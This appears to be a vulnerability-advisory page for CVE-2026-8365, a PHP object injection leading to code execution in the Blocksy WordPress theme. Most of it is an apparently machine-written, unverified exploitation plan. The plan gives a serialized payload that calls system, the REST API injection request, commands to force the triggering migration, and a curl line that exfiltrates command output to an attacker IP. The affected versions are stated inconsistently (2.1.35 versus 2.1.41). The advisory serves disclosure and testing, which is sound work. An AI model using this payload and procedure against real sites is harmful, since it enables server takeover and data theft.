CVE-2026-8365

Blocksy <= 2.1.41 - Authenticated (Contributor+) PHP Object Injection via Deserialization of Untrusted Data via 'blocksy_meta' REST API Field

highDeserialization of Untrusted Data
8.8
CVSS Score
8.8
CVSS Score
high
Severity
2.1.42
Patched in
1d
Time to patch

Description

The Blocksy theme for WordPress is vulnerable to PHP Object Injection leading to Remote Code Execution via the 'blocksy_meta' REST API field and the V200 database migration in versions up to and including 2.1.35. This is due to insufficient input sanitization in the blocksy_sanitize_post_meta_options() function, which only blocks values containing '<' or '>' and does not prevent serialized PHP object strings from being stored in post meta, combined with the SearchReplacer::run_recursively() function unconditionally deserializing all string values via @unserialize() during migration without restricting allowed classes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject a serialized Blocksy\RaiiPattern object into post meta that, when the V200 migration runs on an upgraded site, is deserialized and triggers RaiiPattern::__destruct(), which executes arbitrary PHP callables via call_user_func().

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=2.1.41
PublishedJune 8, 2026
Last updatedJune 9, 2026
Affected themeblocksy

Source Code

WordPress.org SVN
Vulnerable v2.1.41
Patched v2.1.42
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-8365 (Blocksy PHP Object Injection) ## 1. Vulnerability Summary The Blocksy theme (<= 2.1.41) is vulnerable to **PHP Object Injection** leading to **Remote Code Execution (RCE)**. The vulnerability exists because the `blocksy_sanitize_post_meta_options()` func…

Show full research plan

Exploitation Research Plan: CVE-2026-8365 (Blocksy PHP Object Injection)

1. Vulnerability Summary

The Blocksy theme (<= 2.1.41) is vulnerable to PHP Object Injection leading to Remote Code Execution (RCE). The vulnerability exists because the blocksy_sanitize_post_meta_options() function fails to prevent serialized PHP strings from being stored in the blocksy_meta post meta field (it only filters < and >).

When a site is "upgraded" or the V200 migration is triggered, the SearchReplacer::run_recursively() function processes these meta values and calls @unserialize() on them without class restrictions. This allows a Contributor-level user to inject a malicious serialized Blocksy\RaiiPattern object, which executes arbitrary PHP via call_user_func() in its __destruct() method.

2. Attack Vector Analysis

  • Target Endpoint: WordPress REST API post update endpoint (/wp/v2/posts/<id>).
  • Vulnerable Parameter: The blocksy_meta field within the REST request body.
  • Authentication Required: Authenticated, Contributor role or higher (anyone with permission to edit/create posts).
  • Preconditions:
    1. The attacker must have a valid Contributor session.
    2. The "V200 migration" must be triggered. In practice, this migration usually runs when the theme version is updated or when the blocksy_version option in the database is lower than 2.0.0.

3. Code Flow

  1. Entry Point (Injection):

    • A Contributor sends a POST or PUT request to /wp/v2/posts/<id>.
    • The request includes blocksy_meta containing a serialized Blocksy\RaiiPattern object.
    • blocksy_sanitize_post_meta_options() is called. It checks for HTML tags (<, >) but allows the serialized string.
    • The payload is saved to the wp_postmeta table under the key blocksy_meta.
  2. Trigger (Migration):

    • The theme checks the blocksy_version option.
    • If a migration to V2.0.0 is needed, SearchReplacer::run_recursively() is invoked on the post meta.
    • Sink: Inside run_recursively(), @unserialize($meta_value) is called.
  3. Execution (POP Chain):

    • The unserialize() call instantiates Blocksy\RaiiPattern.
    • When the PHP script finishes (or the object is destroyed), Blocksy\RaiiPattern::__destruct() is triggered.
    • The destructor calls call_user_func($this->callback, $this->parameter).

4. Nonce Acquisition Strategy

The WordPress REST API requires a wp_rest nonce for state-changing requests (POST/PUT/PATCH) when using session-based authentication.

  1. Login: Use wp_cli to ensure a Contributor user exists and use the browser_navigate tool to log in.
  2. Extraction: The standard WordPress REST API nonce is usually available in the wpApiSettings JavaScript object on admin pages.
  3. Action:
    • Navigate to /wp-admin/.
    • Run browser_eval("window.wpApiSettings?.nonce").
    • Store this as the X-WP-Nonce header for the REST API request.

5. Exploitation Strategy

Step 1: Craft the Payload

The Blocksy\RaiiPattern class (inferred from description) requires two properties: a callback and a parameter.

  • Target Function: system or passthru.
  • Parameter: whoami > /tmp/rce.txt.
  • Serialized String: O:20:"Blocksy\RaiiPattern":2:{s:8:"callback";s:6:"system";s:9:"parameter";s:23:"whoami > /tmp/rce.txt";} (Note: Actual property names might vary; if properties are private/protected, they require null-byte padding).

Step 2: Inject via REST API

Using the http_request tool:

  • Method: POST
  • URL: http://localhost:8080/wp-json/wp/v2/posts/<POST_ID>
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: <EXTRACTED_NONCE>
  • Body:
    {
      "blocksy_meta": "O:20:\"Blocksy\\RaiiPattern\":2:{s:8:\"callback\";s:6:\"system\";s:9:\"parameter\";s:23:\"whoami > /tmp/rce.txt\";}"
    }
    

Step 3: Trigger the Migration

The migration is likely triggered by an administrator visiting the dashboard or by the theme initialization if the version is old.

  1. Force Migration State: Use wp_cli to set the theme version back:
    wp option update blocksy_version 1.9.9
  2. Trigger: Use http_request or browser_navigate to visit the /wp-admin/ page as an Administrator. This should trigger the SearchReplacer logic.

6. Test Data Setup

  1. Create Contributor:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password
  2. Create Post:
    wp post create --post_type=post --post_status=publish --post_author=<ATTACKER_ID> --post_title="Vuln Post"
    (Store the resulting ID as <POST_ID>).
  3. Verify Theme: Ensure Blocksy <= 2.1.41 is active.

7. Expected Results

  • The REST API call should return 200 OK, and the blocksy_meta field in the response should contain the serialized string.
  • After triggering the migration, the file /tmp/rce.txt should be created on the server, containing the output of the whoami command (typically www-data).

8. Verification Steps

  1. Check Meta Injection:
    wp post meta get <POST_ID> blocksy_meta
  2. Check RCE Execution:
    ls -l /tmp/rce.txt
    cat /tmp/rce.txt

9. Alternative Approaches

  • Different POP Chain: If Blocksy\RaiiPattern is unavailable, check for other loaded classes with __destruct or __wakeup sinks (e.g., standard WordPress core chains if version allows).
  • Blind RCE: If file writing is restricted, use curl or nslookup to an external collaborator to verify execution:
    s:9:"parameter";s:45:"curl http://<YOUR_IP>/$(whoami | base64)";
  • Direct Migration Call: If the V200 migration can be triggered via a specific AJAX action (common in modern themes for "Database Update" buttons), identify that AJAX action and trigger it directly with a valid Admin nonce.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.